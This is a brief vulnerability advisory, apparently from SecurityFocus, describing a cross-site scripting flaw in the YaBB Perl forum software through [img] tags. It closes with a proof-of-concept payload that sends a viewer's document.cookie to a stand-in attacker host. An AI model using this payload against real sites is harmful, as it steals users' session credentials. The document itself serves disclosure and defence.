source: https://www.securityfocus.com/bid/3828/info YaBB (Yet Another Bulletin Board) is freely available web forums/community software that is written in Perl. YaBB will run on most Unix/Linux variants, MacOS, and Microsoft Windows 9x/ME/NT/2000/XP platforms. YaBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running YaBB. This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials. [img]javascript:document.write ('<img src=http://attackerssite/tools/cookie.plx?cookie='+escape(docu ment.cookie)+'>') [/img]